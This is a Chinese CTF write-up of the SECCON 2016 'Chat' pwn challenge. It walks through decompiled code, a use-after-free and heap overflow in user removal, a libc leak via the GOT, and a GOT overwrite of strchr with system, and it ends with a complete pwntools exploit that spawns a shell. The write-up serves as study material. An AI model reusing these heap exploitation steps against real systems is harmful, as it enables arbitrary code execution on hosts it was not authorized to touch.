SECCON CTF 2016 Quals - Chat 分析与思考

First Post:

Last Update:

         CTFSHOW吃瓜杯,PWN方向第三题竟是SECCON原题,于是当时没有仔细研究,直接套用了其他大佬的EXP(第二第三第四题都是各大比赛的原题,网上可以直接找到写好的EXP……)

        既然现在比赛结束了,正好来补一下WP。收获很大,说明我还非常菜…..

正文:

函数:

        Main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v6; // [rsp+0h] [rbp-B0h]
_QWORD *v7; // [rsp+8h] [rbp-A8h] BYREF
char v8[136]; // [rsp+10h] [rbp-A0h] BYREF
unsigned __int64 v9; // [rsp+98h] [rbp-18h]

v9 = __readfsqword(0x28u);
v7 = 0LL;
fwrite("Simple Chat Service\n", 1uLL, 0x14uLL, stdout);
do
{
if ( v7 )
{
service(v7);
logout(&v7);
}
fwrite("\n1 : Sign Up\t2 : Sign In\n0 : Exit\nmenu > ", 1uLL, 0x29uLL, stdout);
v3 = getint();
v6 = v3;
if ( v3 )
{
if ( v3 < 0 v3 > 2 )
{
fwrite("Wrong Input...\n", 1uLL, 0xFuLL, stderr);
}
else
{
fwrite("name > ", 1uLL, 7uLL, stdout);
getnline(v8, 32LL);
if ( v6 == 1 )
v4 = signup(v8);
else
v4 = login(&v7, v8);
if ( v4 == 1 )
fwrite("Success!\n", 1uLL, 9uLL, stdout);
else
fwrite("Failure...\n", 1uLL, 0xBuLL, stderr);
}
}
}
while ( v6 );
return fwrite("Thank you for using Simple Chat Service!\n", 1uLL, 0x29uLL, stdout);
}

        Service: 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
unsigned __int64 __fastcall service(_QWORD *a1)
{
unsigned int v1; // eax
int v2; // eax
int v4; // [rsp+14h] [rbp-9Ch]
__int64 v5; // [rsp+18h] [rbp-98h]
char v6[136]; // [rsp+20h] [rbp-90h] BYREF
unsigned __int64 v7; // [rsp+A8h] [rbp-8h]

v7 = __readfsqword(0x28u);
fwrite("\nService Menu\n", 1uLL, 0xEuLL, stdout);
do
{
fwrite(
"\n"
"1 : Show TimeLine\t2 : Show DM\t3 : Show UsersList\n"
"4 : Send PublicMessage\t5 : Send DirectMessage\n"
"6 : Remove PublicMessage\t\t7 : Change UserName\n"
"0 : Sign Out\n"
"menu >> ",
1uLL,
0xA3uLL,
stdout);
v4 = getint();
switch ( v4 )
{
case 0:
break;
case 1:
get_tweet(0LL);
break;
case 2:
get_tweet(a1);
break;
case 3:
list_users();
break;
case 4:
fwrite("message >> ", 1uLL, 0xBuLL, stdout);
getnline(v6, 0x80LL);
post_tweet(a1, 0LL, v6);
break;
case 5:
fwrite("name >> ", 1uLL, 8uLL, stdout);
getnline(v6, 32LL);
v5 = get_user(v6);
if ( v5 )
{
fwrite("message >> ", 1uLL, 0xBuLL, stdout);
getnline(v6, 128LL);
post_tweet(a1, v5, v6);
}
else
{
fprintf(stderr, "User '%s' does not exist.\n", v6);
}
break;
case 6:
fwrite("id >> ", 1uLL, 6uLL, stdout);
v1 = getint();
v2 = remove_tweet(a1, v1);
if ( v2 == -1 )
{
fwrite("Can not remove other user's message.\n", 1uLL, 0x25uLL, stderr);
}
else if ( !v2 )
{
fwrite("Message not found.\n", 1uLL, 0x13uLL, stderr);
}
break;
case 7:
fwrite("name >> ", 1uLL, 8uLL, stdout);
getnline(v6, 32LL);
if ( change_name(a1, v6) < 0 )
v4 = 0;
break;
default:
fwrite("Wrong Input...\n", 1uLL, 0xFuLL, stderr);
break;
}
if ( v4 )
fwrite("Done.\n", 1uLL, 6uLL, stdout);
}
while ( v4 );
return __readfsqword(0x28u) ^ v7;
}

        程序大致实现了一个聊天室功能,能够注册、公共频道发消息、私信等等。

        审计代码时务必要捋清每个变量的意义,否则会因为大量的指针而失去方向。

         如下结构体为程序所用到的两个结构,整个程序从头到尾都只会对这两个结构进行操作,当然,要得出这样的结构体需要经过仔细的审计,其过程本文不再赘述,仅提供结果以方便之后的理解

1
2
3
4
5
6
7
8
9
10
11
12
struct user {
char *name;
struct message *msg;
struct user *next_user;
}

struct message {
int id ; // use in tweet (public message) only
struct user *sender;
char content[128];
struct message *next_msg;
}

漏洞分析与利用:

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall change_name(_QWORD *a1, const char *a2)
{
......
else
{
fwrite("Change name error...\n", 1uLL, 0x15uLL, stderr);
remove_user(a1);
result = 0xFFFFFFFFLL;
}
return result;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall remove_user(__int64 a1)
{
__int64 i; // [rsp+18h] [rbp-18h]
_QWORD *ptr; // [rsp+20h] [rbp-10h]
_QWORD *v3; // [rsp+28h] [rbp-8h]
_QWORD *v4; // [rsp+28h] [rbp-8h]
void *v5; // [rsp+28h] [rbp-8h]

for ( ptr = *(a1 + 8); ptr; ptr = v3 )
{
v3 = ptr[18];
free(ptr);
}
for ( i = tl; i; i = *(i + 144) )
{
if ( *(i + 0x90) && *(*(i + 144) + 8LL) == a1 )
{
v4 = *(i + 144);
*(i + 144) = v4[18];
free(v4);
}
}
if ( tl && *(tl + 8) == a1 )
{
v5 = tl;
tl = *(tl + 144);
free(v5);
}
free(*a1);
free(a1);
}

        remove_user函数在程序中异常的扎眼。当用户尝试修改用户名时将进行检测,如果用户名的首字母是不可打印字符,就会直接将这个用户删除。但在remove_user中可以看见,并没有对free后的指针进行置NULL,看起来像是UAF,但该漏洞并不体现在free上,而是在该函数的逻辑上

        该函数将按如下顺序释放内存块:

  1. 将发送给该目标的私信message 释放
  2. 将该用户发送到公频的message 释放
  3. 将该用户的name 释放
  4. 将该用户本身释放

        但是,它并没有将该用户发送给其他用户的私信message释放,那么在其他用户看来,当该用户被删除之后,私信会变成什么样?如下过程进行了测试,笔者以F2按键按下的内容作为用户“aa”的新名字让其被删除,再显示用户“bb”收到的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Simple Chat Service

1 : Sign Up2 : Sign In
0 : Exit
menu > 1
name > aa
Success!

1 : Sign Up2 : Sign In
0 : Exit
menu > 1
name > bb
Success!

1 : Sign Up2 : Sign In
0 : Exit
menu > 2
name > aa
Hello, aa!
Success!

Service Menu

1 : Show TimeLine2 : Show DM3 : Show UsersList
4 : Send PublicMessage5 : Send DirectMessage
6 : Remove PublicMessage7 : Change UserName
0 : Sign Out
menu >> 5
name >> bb
message >> from a
Done.

1 : Show TimeLine2 : Show DM3 : Show UsersList
4 : Send PublicMessage5 : Send DirectMessage
6 : Remove PublicMessage7 : Change UserName
0 : Sign Out
menu >> 7
name >> ^[OQ
Change name error...
Bye,

1 : Sign Up2 : Sign In
0 : Exit
menu > 2
name > bb
Hello, bb!
Success!

Service Menu

1 : Show TimeLine2 : Show DM3 : Show UsersList
4 : Send PublicMessage5 : Send DirectMessage
6 : Remove PublicMessage7 : Change UserName
0 : Sign Out
menu >> 2
Direct Messages
[] from a
Done.

        收到私信显示的名字出现了异常,但消息仍然能被显示出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall get_tweet(__int64 a1)
{
const char *v1; // rax
__int64 v2; // rax
unsigned int v4; // [rsp+1Ch] [rbp-14h]
unsigned int *v5; // [rsp+20h] [rbp-10h]
char *format; // [rsp+28h] [rbp-8h]

if ( a1 )
fprintf(stdout, "Direct Messages\n");
else
fprintf(stdout, "Time Line\n");
if ( a1 )
v1 = "[%s] %s\n";
else
v1 = "(%3$03d)[%s] %s\n";
format = v1;
v4 = 0;
if ( a1 )
v2 = *(a1 + 8);
else
v2 = tl;
v5 = v2;
while ( v5 )
{
fprintf(stdout, format, **(v5 + 1), v5 + 4, *v5);
v5 = *(v5 + 18);
++v4;
}
return v4;
}

        显示规则如上,此处的变量 a1 为指向当前登录用户结构体的指针

        输出的名字为 **(v5 + 1)

        既然该消息没有被释放,那么此处构成**UAF(Use After Free)**,只要能够操作 *(v5+1) 的内容,就能泄露任意地址的内容

        *(v5+1) 为一个指向 name 的指针,在创建账号的时候会开辟一个user,然后再开辟一个name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall signup(const char *a1)
{
__int64 result; // rax
int v2; // [rsp+14h] [rbp-Ch]
_QWORD *ptr; // [rsp+18h] [rbp-8h]

if ( get_user(a1) )
{
fprintf(stderr, "User '%s' already exists\n", a1);
result = 0LL;
}
else
{
ptr = malloc(0x18uLL);
v2 = hash(a1);
if ( v2 >= 0 )
{
*ptr = strdup(a1);
ptr[1] = 0LL;
ptr[2] = user_tbl[v2];
user_tbl[v2] = ptr;
result = 1LL;
}
else
{
free(ptr);
fwrite("Signup failed...\n", 1uLL, 0x11uLL, stderr);
result = 0xFFFFFFFFLL;
}
}
return result;
}

        特别的是,name通过strdup开辟(该函数会为字符串自动开辟合适大小空间然后进行拷贝)

        如果名字只有16个字符之内,strdup只开辟0x20大小空间,但名字能有32个字符,如果使用名字长达30,该函数就会开辟0x30大小的字符

        但如果其开辟了0x20,而用户通过改名来改为更长的字符就能实现堆溢出(0x20中只有0x10用于储存字符,而0x30中则有0x20储存内容)

        堆溢出在此处可以用于复写下一个chunk的size,构成heap overflow

        以及,在注销用户时也会按顺序先释放name再释放user,申请的时候会先申请user再申请name,我们的目的是让某个被注销的name重新被申请为某个user,这样在get_tweet时候得到的name指针即为新用户的name字段内容,该字段能通过change_name任意写地址

        至此,利用UAF泄露libc基址

        接下来是如何让程序执行 system(“/bin/sh”)

        基本思路是通过复写某个函数,让程序在调用时执行system

        其中目的函数为 strchr,原因如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int getint()
{
int result; // eax
char nptr[136]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-18h]

v2 = __readfsqword(0x28u);
memset(nptr, 0, 0x80uLL);
if ( getnline(nptr, 128LL) )
result = atoi(nptr);
else
result = 0;
return result;
}

1
2
3
4
5
6
7
8
9
10
size_t __fastcall getnline(char *a1, int a2)
{
char *v3; // [rsp+18h] [rbp-8h]

fgets(a1, a2, stdin);
v3 = strchr(a1, 10);
if ( v3 )
*v3 = 0;
return strlen(a1);
}

        main函数中通过getint函数来获取参数,倘若输入“/bin/sh”,则在getnline中执行  

1
        strchr("/bin/sh",10)

         替换之后就会变成

1
        system("/bin/sh")

        不过有些需要注意:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.got.plt:0000000000603018 off_603018      dq offset free          ; DATA XREF: _free↑r
.got.plt:0000000000603020 off_603020 dq offset strlen ; DATA XREF: _strlen↑r
.got.plt:0000000000603028 off_603028 dq offset __stack_chk_fail
.got.plt:0000000000603028 ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0000000000603030 off_603030 dq offset setbuf ; DATA XREF: _setbuf↑r
.got.plt:0000000000603038 off_603038 dq offset strchr ; DATA XREF: _strchr↑r
.got.plt:0000000000603040 off_603040 dq offset __libc_start_main
.got.plt:0000000000603040 ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000603048 off_603048 dq offset fgets ; DATA XREF: _fgets↑r
.got.plt:0000000000603050 off_603050 dq offset strcmp ; DATA XREF: _strcmp↑r
.got.plt:0000000000603058 off_603058 dq offset fprintf ; DATA XREF: _fprintf↑r
.got.plt:0000000000603060 off_603060 dq offset __gmon_start__
.got.plt:0000000000603060 ; DATA XREF: ___gmon_start__↑r
.got.plt:0000000000603068 off_603068 dq offset tolower ; DATA XREF: _tolower↑r
.got.plt:0000000000603070 off_603070 dq offset malloc ; DATA XREF: _malloc↑r
.got.plt:0000000000603078 off_603078 dq offset isprint ; DATA XREF: _isprint↑r
.got.plt:0000000000603080 off_603080 dq offset atoi ; DATA XREF: _atoi↑r
.got.plt:0000000000603088 off_603088 dq offset fwrite ; DATA XREF: _fwrite↑r
.got.plt:0000000000603090 off_603090 dq offset strdup ; DATA XREF: _strdup↑r

        本例中笔者通过 got表中的__libc_start_main 来泄露基址,但其他函数又是否可行呢?如下为got表对应的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ tel 0x0000000000603018 16
0000 0x603018 --> 0x7f974f791540 (<__GI___libc_free>:push r13)
0008 0x603020 --> 0x7f974f7987a0 (<strlen>:pxor xmm0,xmm0)
0016 0x603028 --> 0x4007f6 (<__stack_chk_fail@plt+6>:push 0x2)
0024 0x603030 --> 0x7f974f7836c0 (<setbuf>:mov edx,0x2000)
0032 0x603038 --> 0x7f974f796b30 (<__strchr_sse2>:movd xmm1,esi)
0040 0x603040 --> 0x7f974f72d750 (<__libc_start_main>:push r14)
0048 0x603048 --> 0x7f974f77aae0 (<_IO_fgets>:test esi,esi)
0056 0x603050 --> 0x7f974f7ac5f0 (<__strcmp_sse2_unaligned>:mov eax,edi)
0064 0x603058 --> 0x7f974f762780 (<__fprintf>:sub rsp,0xd8)
0072 0x603060 --> 0x400866 (<__gmon_start__@plt+6>:push 0x9)
0080 0x603068 --> 0x7f974f73ae70 (<tolower>:lea edx,[rdi+0x80])
0088 0x603070 --> 0x7f974f791180 (<__GI___libc_malloc>:push rbp)
0096 0x603078 --> 0x7f974f73add0 (<isprint>:mov rax,QWORD PTR [rip+0x396041] # 0x7f974fad0e18)
0104 0x603080 --> 0x7f974f743e90 (<atoi>:sub rsp,0x8)
0112 0x603088 --> 0x7f974f77b6f0 (<__GI__IO_fwrite>:push r14)
0120 0x603090 --> 0x7f974f7984f0 (<__GI___strdup>:push rbp)

        如下函数为change_name时的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall hash(char *a1)
{
int v2; // [rsp+1Ch] [rbp-4h]

if ( !a1 )
return 0xFFFFFFFFLL;
v2 = tolower(*a1);
if ( !isprint(v2) )
return 0xFFFFFFFFLL;
if ( v2 > 96 && v2 <= 122 )
return (v2 - 96);
return 0LL;
}

        在change_name时若没能通过该检查(第一个字符可打印),则会注销用户

        如果我们替换__GI___libc_malloc函数地址,替换之前先进入hash函数进行检测,而0x7f974f791180 最后一个字符0x80为不可打印字符,则会因为free(got)导致程序crash,其他函数也是同理

        而反观__libc_start_main函数地址0x7f974f72d750 ,最后一个字符为0x50,为可打印字符,因此才能正常通过检测,并成功leak

        最后则需要伪造chunk来复写strchr的地址,笔者的exp完成leak之后,bins的情况如下

1
2
3
4
5
6
fastbins
0x30: 0x17730a0 ◂— 0x0
unsortedbin
all: 0x1773060 —▸ 0x7f3718172b78 (main_arena+88) ◂— 0x1773060
smallbins
0xa0: 0x1773170 —▸ 0x7f3718172c08 (main_arena+232) ◂— 0x1773170

         0x1773060与用户malusr的user空间比较近,这块区域实则就是因为先前的remove_user而留下的,通过修改该内存块的size位即可完成heap overflow,然后通过post_tweet的方式构造payload,将0x60302a覆盖到user中的name指针处,使得该name指向0x60302a处,接下来就只需要通过change_name即可任意写got表了

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#coding=utf-8
from pwn import *
import sys
reload(sys)
sys.setdefaultencoding('utf8')
context.log_level='debug'


def signup(name):
p.sendlineafter('>','1')
p.sendlineafter('>',name)

def signin(name):
p.sendlineafter('>','2')
p.sendlineafter('>',name)

def changename(name):
p.sendlineafter('>>','7')
p.sendlineafter('>>',name)

def tweet(msg):
p.sendlineafter('>>','4')
p.sendlineafter('>>',msg)
def dm(user,msg):
p.sendlineafter('>>','5')
p.sendlineafter('>>',user)
p.sendlineafter('>>',msg)
def signout():
p.sendlineafter('>>','0')


#p=remote("node4.buuoj.cn",27256)
p=process('./chat_seccon_2016')
elf=ELF('./chat_seccon_2016')
libc=elf.libc
ua="AAAA"
ub='BBBB'
uc='C'*30
signup(ua)
signup(ub)
signup(uc)
#gdb.attach(p)
signin(ua)
tweet("aaaa")
signout()

signin(ub)
tweet("bbbb")
dm(ua,'BA')
dm(uc,"BC")
signout()

signin(uc)
tweet("cccc")
signout()


signin(ub)
changename("\t")

signin(uc)
changename("\t")

gdb.attach(p)

ud='d'*7
signup(ud)
signin(ud)
for i in xrange(6,2,-1):
changename('d'*i)


malusr = p64(elf.got['__libc_start_main'])
changename(malusr)
signout()

signin(ua)
p.sendlineafter(">> ", "2")
p.recvuntil("[")
libc.address += u64(p.recv(6).ljust(8,"\x00")) - libc.symbols['__libc_start_main']
print hex(libc.address)
system=libc.symbols['system']
signout()

signin(malusr)
tweet("bins")

changename("i"*24+p8(0xa1))
changename(p8(0x40))
tweet("7"*16+p64(0x60302a))
changename("A"*6+"B"*8+p64(system))
p.sendlineafter(">> ", "/bin/sh\x00")
p.interactive()

         最后几行笔者打算做些适当的说明:

1
2
3
4
5
6
changename("i"*24+p8(0xa1))
changename(p8(0x40))
tweet("7"*16+p64(0x60302a))
changename("A"*6+"B"*8+p64(system))
p.sendlineafter(">> ", "/bin/sh\x00")
p.interactive()

         第一行通过堆溢出复写chunk的size,使得然后在change_name

        第二行则是为了绕过change_name中的检测:

1
2
3
4
5
6
7
8
9
10
11
12
if ( user_tbl[v3] == a1 )
{
user_tbl[v3] = a1[2];
}
else
{
for ( i = user_tbl[v3]; i && *(i + 16) != a1; i = *(i + 16) )
;
if ( !i )
return 0xFFFFFFFFLL;
*(i + 16) = a1[2];
}

        如果缺少该行,第4行将会因为上述检测返回“-1”导致没能正确写入 

        经过笔者的测试,最终只要保证修改内容为“非字母”均可通过

       其原因为:第二行的复写让当前用户user指针被放入user_tbl,而在第4行时将对user_tbl进行检测;由于我们选择了__stack_chk_fail的最后一个字节作为新chunk的size位,其值为0x40,将会获得索引“0”,如果第二行使用任意“字母”,则返回的索引均为“非零”值,在上述检测里就没办法通过第一个判断了,而在另外一个循环里更加难以通过检查,因此事先user指针放入user_tbl[0]中,然后在接下来的改名里绕过检查

        最后就是一系列的复写了 ​

插画ID:91814284